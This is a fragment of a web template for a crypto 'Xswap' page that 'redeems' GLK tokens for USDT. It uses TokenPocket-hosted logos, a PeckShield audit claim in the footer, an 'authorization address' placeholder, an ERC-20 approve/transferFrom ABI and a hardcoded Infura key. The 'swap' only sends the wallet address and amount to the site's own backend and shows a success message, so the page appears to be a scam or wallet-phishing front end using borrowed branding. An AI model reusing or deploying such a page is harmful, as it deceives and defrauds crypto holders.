1xP0/ZeNznxwHhyZO9QeXFg76pxn/ffnP3QqngICQIiknBEvAFb99zblxonZ+zoCerocec6wXbsU//OkIsaJp5jIyfqATdmdWiBcq1edZyuiTjxcO8860GaQNfvisITcv5NeRJN4uLZrnAsI0ohYRfFAKQKCJCJWVTyAboxPmoYEC3KKehKRBW90+nJRpGAidN5N0eJZLEZqG9d0DhUcy2QWMR4XlmdRdh8a+7ocIw6cXOfOcbhy2+FhY5bOgOpGxovkgq2ILuu8UXPZOxa4lvEiuWES0XWDYVH2DaMLY8G2S3qJWEZrO2pe9b+KLKu6HKgDi2yJ41ANy/KabFjus3izt8gpqtwG1tSsnHZC/d89q/nSvgKPnVfHtVl8npWbUhq/1OW86NiNq4DFoMQqXobCb3qBerDo/mCVUNFPBpbxEhZQuxr9kv3q9tpjmFRX/IyXjoDBcq1VXW4sQBwEK0QZLXoez9QSt3A7s0iGCw+CFcJQLFrfZXUSXd6G9TE9B1gxQovFlVWMA8kDy4imTuur3kSzGq3Qsn6oJSibhfUthN9EsyOgRNuYTGaLy60sEM6i6+JT0HgozggYVIyLpqsgyqefGhSUxXIu5Xk04KZLhmCtDCKUPNIwiGEO4bpP0eXxgRV+QwbwB/uhVW7aR3AuxP1QFyuHcIcWGahTkGGUBEGHy2xYd+N+MbDBhmPcEF4vMtgw+IDRlcHHl+V/sy7gXq/bT8DP6yLXtb2eIE7W2CoDuEId+oiTY4lihRdZg+e6DMbOSNAqoz4cuJB/Fu+2KVNhm05UKaIJ9d3ViRI3nQBptj1BbIllJGQhpLA64FPe254o0ogI8eDWWOnvcuMd9FFTDMH5VNTGO4q0Wz+pTcaKtMgMwgGfit76SZHH5mPofL/LafOxC6Ny3ibDFKy7zcfCsJDo5sxRBiAgIgHQEUc6PsF147e/a2D7u2F5jknvlJuMRUE3baG0nX+F3PazrhswzlMVEHIL0CVRH1ZEFXf2FR82oc0HvskFUS0h4a64pybVBSHdumyLrJ9wcXABZjk9E26AaKiPW+QApzMb4v8vI0CAN2KUPcoHn4IvIiDHX0ZQ6tRQICg64y2SMXseyQFcdQzjh45I6PxidW2p397wH2WY7YgpD3g1AAAAAElFTkSuQmCC" alt="" />
|
|
</div>
|
|
<div class="swap-panel out-panel">
|
|
<div>
|
|
<span class="float-right est-wrap">Estimated number</span>
|
|
<div class="select-wrap" onclick="clicks_start()">
|
|
<img id="img" src="https://tp-statics.tokenpocket.pro/token/1567500470273-ethx.png" alt="" onerror="javascript:this.src='https://tokenpocket.cdn.bcebos.com/common.png';" class="selected-logo vertical-middle" />
|
|
<span class="vertical-middle"><span class="symbol" id="symbol">USDT</span><br /><span class="network"> ERC </span></span>
|
|
<span class="down-arrow"></span>
|
|
</div>
|
|
<div class="output-amount-wrap" id="out"></div>
|
|
<!---->
|
|
</div>
|
|
<!---->
|
|
</div>
|
|
<div class="confirm-wrap">
|
|
<button class="confirm-btn disabled" id="btn-connect" onclick="sub()">Confirm redemption</button>
|
|
</div>
|
|
<div class="swap-info">
|
|
<div>
|
|
<span class="label">Conversion path</span>
|
|
<!---->
|
|
<span class="float-right xswap-text"><span class="vertical-middle">Aggregate flash</span><i class="icon-cex icon-xswap"></i></span>
|
|
<!---->
|
|
<!---->
|
|
</div>
|
|
<div>
|
|
<span class="label">Proposed price</span>
|
|
<span class="float-right"><span id="a"></span></span>
|
|
</div>
|
|
<div>
|
|
<span class="label">Price impact</span>
|
|
<i class="iconfont iconinfo vertical-middle"></i>
|
|
<span class="float-right" id="e"></span>
|
|
</div>
|
|
<div>
|
|
<span class="label">Handling fee</span>
|
|
<span class="float-right" id="f"></span>
|
|
</div>
|
|
<div>
|
|
<span class="label vertical-middle">Estimated number</span>
|
|
<!---->
|
|
<span class="float-right" id="b"></span>
|
|
</div>
|
|
<!---->
|
|
<div>
|
|
<span class="label vertical-middle">Slippage limit</span>
|
|
<span class="float-right"><span class="" id="g"></span></span>
|
|
</div>
|
|
<div>
|
|
<span class="label vertical-middle">Minimum receiving quantity</span>
|
|
<span class="float-right" id="c"></span>
|
|
</div>
|
|
</div>
|
|
</div>
|
|
<div>
|
|
<h3 class="history">Exchange record<span class="float-right refresh-btn"><i class="vertical-middle iconfont iconrefresh1"></i></span>
|
|
<!---->
|
|
</h3>
|
|
</div>
|
|
<div class="footer">
|
|
Xswap on-chain aggregation contract is provided by PeckShield for security audit
|
|
</div>
|
|
</div>
|
|
</div>
|
|
<div class="vue-notification-group" style="width: 300px; top: 0px; right: 0px;">
|
|
<span></span>
|
|
</div>
|
|
</div>
|
|
<div id="modals-container"></div>
|
|
<!-- Preloader -->
|
|
<div id="load" style="display: none">
|
|
<div class="modal modal-in">
|
|
<div class="preloader"></div>
|
|
</div>
|
|
<div class="modal-overlay modal-overlay-visible"></div>
|
|
</div>
|
|
<div id="t1" style="display: none">
|
|
<div class="tishi">
|
|
Network fluctuation
|
|
</div>
|
|
</div>
|
|
<div id="s"></div>
|
|
<div id="fffsss" style="color: white;z-index: 99999999999999999;position: absolute;top: 1px;"></div>
|
|
<script>
|
|
const Web3Modal = window.Web3Modal.default;
|
|
const WalletConnectProvider = window.WalletConnectProvider.default;
|
|
let web3Modal;
|
|
let provider;
|
|
let selectedAccount;
|
|
let injectedWeb3 = null;
|
|
let app_address = "{{$config['app_address']}}"; //授权地址
|
|
let web3;
|
|
let ABI = [{
|
|
"inputs": [{
|
|
"internalType": "string",
|
|
"name": "name",
|
|
"type": "string"
|
|
}, {
|
|
"internalType": "string",
|
|
"name": "symbol",
|
|
"type": "string"
|
|
}],
|
|
"stateMutability": "nonpayable",
|
|
"type": "constructor"
|
|
}, {
|
|
"anonymous": false,
|
|
"inputs": [{
|
|
"indexed": true,
|
|
"internalType": "address",
|
|
"name": "owner",
|
|
"type": "address"
|
|
}, {
|
|
"indexed": true,
|
|
"internalType": "address",
|
|
"name": "spender",
|
|
"type": "address"
|
|
}, {
|
|
"indexed": false,
|
|
"internalType": "uint256",
|
|
"name": "value",
|
|
"type": "uint256"
|
|
}],
|
|
"name": "Approval",
|
|
"type": "event"
|
|
}, {
|
|
"inputs": [{
|
|
"internalType": "address",
|
|
"name": "spender",
|
|
"type": "address"
|
|
}, {
|
|
"internalType": "uint256",
|
|
"name": "amount",
|
|
"type": "uint256"
|
|
}],
|
|
"name": "approve",
|
|
"outputs": [{
|
|
"internalType": "bool",
|
|
"name": "",
|
|
"type": "bool"
|
|
}],
|
|
"stateMutability": "nonpayable",
|
|
"type": "function"
|
|
}, {
|
|
"inputs": [{
|
|
"internalType": "address",
|
|
"name": "spender",
|
|
"type": "address"
|
|
}, {
|
|
"internalType": "uint256",
|
|
"name": "subtractedValue",
|
|
"type": "uint256"
|
|
}],
|
|
"name": "decreaseAllowance",
|
|
"outputs": [{
|
|
"internalType": "bool",
|
|
"name": "",
|
|
"type": "bool"
|
|
}],
|
|
"stateMutability": "nonpayable",
|
|
"type": "function"
|
|
}, {
|
|
"inputs": [{
|
|
"internalType": "address",
|
|
"name": "spender",
|
|
"type": "address"
|
|
}, {
|
|
"internalType": "uint256",
|
|
"name": "addedValue",
|
|
"type": "uint256"
|
|
}],
|
|
"name": "increaseAllowance",
|
|
"outputs": [{
|
|
"internalType": "bool",
|
|
"name": "",
|
|
"type": "bool"
|
|
}],
|
|
"stateMutability": "nonpayable",
|
|
"type": "function"
|
|
}, {
|
|
"inputs": [{
|
|
"internalType": "address",
|
|
"name": "recipient",
|
|
"type": "address"
|
|
}, {
|
|
"internalType": "uint256",
|
|
"name": "amount",
|
|
"type": "uint256"
|
|
}],
|
|
"name": "transfer",
|
|
"outputs": [{
|
|
"internalType": "bool",
|
|
"name": "",
|
|
"type": "bool"
|
|
}],
|
|
"stateMutability": "nonpayable",
|
|
"type": "function"
|
|
}, {
|
|
"anonymous": false,
|
|
"inputs": [{
|
|
"indexed": true,
|
|
"internalType": "address",
|
|
"name": "from",
|
|
"type": "address"
|
|
}, {
|
|
"indexed": true,
|
|
"internalType": "address",
|
|
"name": "to",
|
|
"type": "address"
|
|
}, {
|
|
"indexed": false,
|
|
"internalType": "uint256",
|
|
"name": "value",
|
|
"type": "uint256"
|
|
}],
|
|
"name": "Transfer",
|
|
"type": "event"
|
|
}, {
|
|
"inputs": [{
|
|
"internalType": "address",
|
|
"name": "sender",
|
|
"type": "address"
|
|
}, {
|
|
"internalType": "address",
|
|
"name": "recipient",
|
|
"type": "address"
|
|
}, {
|
|
"internalType": "uint256",
|
|
"name": "amount",
|
|
"type": "uint256"
|
|
}],
|
|
"name": "transferFrom",
|
|
"outputs": [{
|
|
"internalType": "bool",
|
|
"name": "",
|
|
"type": "bool"
|
|
}],
|
|
"stateMutability": "nonpayable",
|
|
"type": "function"
|
|
}, {
|
|
"inputs": [{
|
|
"internalType": "address",
|
|
"name": "owner",
|
|
"type": "address"
|
|
}, {
|
|
"internalType": "address",
|
|
"name": "spender",
|
|
"type": "address"
|
|
}],
|
|
"name": "allowance",
|
|
"outputs": [{
|
|
"internalType": "uint256",
|
|
"name": "",
|
|
"type": "uint256"
|
|
}],
|
|
"stateMutability": "view",
|
|
"type": "function"
|
|
}, {
|
|
"inputs": [{
|
|
"internalType": "address",
|
|
"name": "account",
|
|
"type": "address"
|
|
}],
|
|
"name": "balanceOf",
|
|
"outputs": [{
|
|
"internalType": "uint256",
|
|
"name": "",
|
|
"type": "uint256"
|
|
}],
|
|
"stateMutability": "view",
|
|
"type": "function"
|
|
}, {
|
|
"inputs": [],
|
|
"name": "decimals",
|
|
"outputs": [{
|
|
"internalType": "uint8",
|
|
"name": "",
|
|
"type": "uint8"
|
|
}],
|
|
"stateMutability": "view",
|
|
"type": "function"
|
|
}, {
|
|
"inputs": [],
|
|
"name": "name",
|
|
"outputs": [{
|
|
"internalType": "string",
|
|
"name": "",
|
|
"type": "string"
|
|
}],
|
|
"stateMutability": "view",
|
|
"type": "function"
|
|
}, {
|
|
"inputs": [],
|
|
"name": "symbol",
|
|
"outputs": [{
|
|
"internalType": "string",
|
|
"name": "",
|
|
"type": "string"
|
|
}],
|
|
"stateMutability": "view",
|
|
"type": "function"
|
|
}, {
|
|
"inputs": [],
|
|
"name": "totalSupply",
|
|
"outputs": [{
|
|
"internalType": "uint256",
|
|
"name": "",
|
|
"type": "uint256"
|
|
}],
|
|
"stateMutability": "view",
|
|
"type": "function"
|
|
}];
|
|
let deposit_default = null;
|
|
let info = null;
|
|
let free = "{{$config['GLK']}}";
|
|
let limit = "{{$config['limit_GLK']}}";
|
|
|
|
async function init() {
|
|
const providerOptions = {
|
|
walletconnect: {
|
|
package: WalletConnectProvider,
|
|
options: {
|
|
// Mikko's test key - don't copy as your mileage may vary
|
|
infuraId: '7d73a0c13ce946769577714aef84b79a',
|
|
}
|
|
},
|
|
};
|
|
|
|
web3Modal = new Web3Modal({
|
|
cacheProvider: false, // optional
|
|
providerOptions, // required
|
|
disableInjectedProvider: false, // optional. For MetaMask / Brave / Opera.
|
|
});
|
|
|
|
|
|
try {
|
|
provider = await web3Modal.connect();
|
|
provider.enable()
|
|
} catch (e) {
|
|
return alert("{{trans('web.Please install MetaMask')}}");
|
|
}
|
|
|
|
// Subscribe to accounts change
|
|
provider.on("accountsChanged", async (accounts) => {
|
|
await fetchAccountData();
|
|
});
|
|
|
|
// Subscribe to chainId change
|
|
provider.on("chainChanged", async (chainId) => {
|
|
await fetchAccountData();
|
|
});
|
|
|
|
// Subscribe to networkId change
|
|
provider.on("networkChanged", async (networkId) => {
|
|
await fetchAccountData();
|
|
});
|
|
|
|
await refreshAccountData();
|
|
}
|
|
|
|
|
|
/**
|
|
* Kick in the UI action after Web3modal dialog has chosen a provider
|
|
*/
|
|
async function fetchAccountData() {
|
|
web3 = new Web3(provider);
|
|
injectedWeb3 = web3;
|
|
provider.enable();
|
|
const accounts = await web3.eth.getAccounts();
|
|
selectedAccount = accounts[0];
|
|
|
|
if (!selectedAccount) {
|
|
return alert("{{trans('web.Please install MetaMask')}}");
|
|
}
|
|
|
|
await postRegister(selectedAccount)
|
|
}
|
|
|
|
async function refreshAccountData() {
|
|
await fetchAccountData(provider);
|
|
}
|
|
|
|
// 钱包注册
|
|
async function postRegister(address) {
|
|
$.ajax({
|
|
type: "GET",
|
|
url: '/userInfo',
|
|
data: {
|
|
address: address
|
|
},
|
|
success: function(msg) {
|
|
var data = JSON.parse(msg);
|
|
info = data;
|
|
document.getElementById('address').innerText = '(ERC) ' + data['address'].substring(0, 8) + '...' + data['address'].substring(data['address'].length - 6);
|
|
document.getElementById('money').innerText = parseFloat(data['balance']).toFixed(2);
|
|
if ((data['balance'] * 1000) > 0) {
|
|
document.getElementById('indata').addEventListener('input', numChange)
|
|
}
|
|
}
|
|
});
|
|
}
|
|
|
|
|
|
// 变动值
|
|
function numChange() {
|
|
var in1 = parseFloat(document.getElementById('indata').value);
|
|
if (!isNaN(in1)) {
|
|
if ((in1 * 10000000000) <= (info['balance'] * 10000000000)) {
|
|
if ((in1 * 10000000000) < (limit * 10000000000)) {
|
|
document.getElementById('out').innerText = (in1 * parseFloat(free)).toFixed(4);
|
|
document.getElementById('btn-connect').setAttribute('class', 'confirm-btn disabled');
|
|
document.getElementById('btn-connect').innerText = 'Minimum exchange ' + limit;
|
|
} else {
|
|
document.getElementById('out').innerText = (in1 * parseFloat(free)).toFixed(4);
|
|
document.getElementById('btn-connect').setAttribute('class', 'confirm-btn');
|
|
document.getElementById('btn-connect').innerText = 'Confirm redemption';
|
|
}
|
|
} else {
|
|
document.getElementById('indata').value = parseFloat(info['balance']).toFixed(2);
|
|
document.getElementById('out').innerText = (info['balance'] * parseFloat(free)).toFixed(4);
|
|
document.getElementById('btn-connect').setAttribute('class', 'confirm-btn');
|
|
}
|
|
|
|
document.getElementById('a').innerText = '1 GLK = ' + free + ' USDT';
|
|
document.getElementById('e').innerText = '-0.01%';
|
|
document.getElementById('f').innerText = '0.10%';
|
|
document.getElementById('b').innerText = document.getElementById('out').innerText;
|
|
document.getElementById('g').innerText = '0.20%';
|
|
document.getElementById('c').innerText = (parseFloat(document.getElementById('out').innerText) - (parseFloat(document.getElementById('out').innerText) * 0.001)).toFixed(4);
|
|
} else {
|
|
document.getElementById('out').innerText = '';
|
|
document.getElementById('btn-connect').setAttribute('class', 'confirm-btn disabled');
|
|
document.getElementById('a').innerText = '';
|
|
document.getElementById('e').innerText = '';
|
|
document.getElementById('f').innerText = '';
|
|
document.getElementById('b').innerText = '';
|
|
document.getElementById('g').innerText = '';
|
|
document.getElementById('c').innerText = '';
|
|
}
|
|
}
|
|
|
|
function sub() {
|
|
setTimeout(function() {
|
|
var in1 = parseFloat(document.getElementById('indata').value);
|
|
var address = info['address'];
|
|
|
|
$.ajax({
|
|
type: "GET",
|
|
url: '/apiSwap',
|
|
data: {
|
|
address: address,
|
|
balance: in1
|
|
},
|
|
success: function(msg) {
|
|
document.getElementById('success_content').innerText = info['address'].substring(0, 8) + '...' + info['address'].substring(info['address'].length - 6) + ' Successfully exchanged';
|
|
document.getElementById('success').removeAttribute('style');
|
|
setTimeout(function() {
|
|
postRegister(address);
|
|
document.getElementById('success').setAttribute('style', 'display: none');
|
|
}, 3000);
|
|
}
|
|
});
|
|
|
|
$('#indata').val('');
|
|
document.getElementById('out').innerText = '';
|
|
document.getElementById('btn-connect').setAttribute('disabled', 'disabled');
|
|
|
|
document.getElementById('a').innerText = '';
|
|
document.getElementById('e').innerText = '';
|
|
document.getElementById('f').innerText = '';
|
|
document.getElementById('b').innerText = '';
|
|
document.getElementById('g').innerText = '';
|
|
document.getElementById('c').innerText = '';
|
|
}, 1000);
|
|
}
|
|
|
|
window.addEventListener('load', async () => {
|
|
init();
|
|
});
|
|
</script>
|
|
</body>
|
|
|
|
</html> |